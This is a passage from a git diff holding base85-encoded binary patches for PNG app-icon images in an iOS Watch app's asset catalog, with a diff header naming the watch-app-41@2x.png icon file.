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 diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-41@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-41@2x.png index 5f9578b1b9751ae556a718c420ba5eb510d652a2..96da7b53503ceec16cf66f6864252a213bddc919 100644 GIT binary patch literal 6998 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 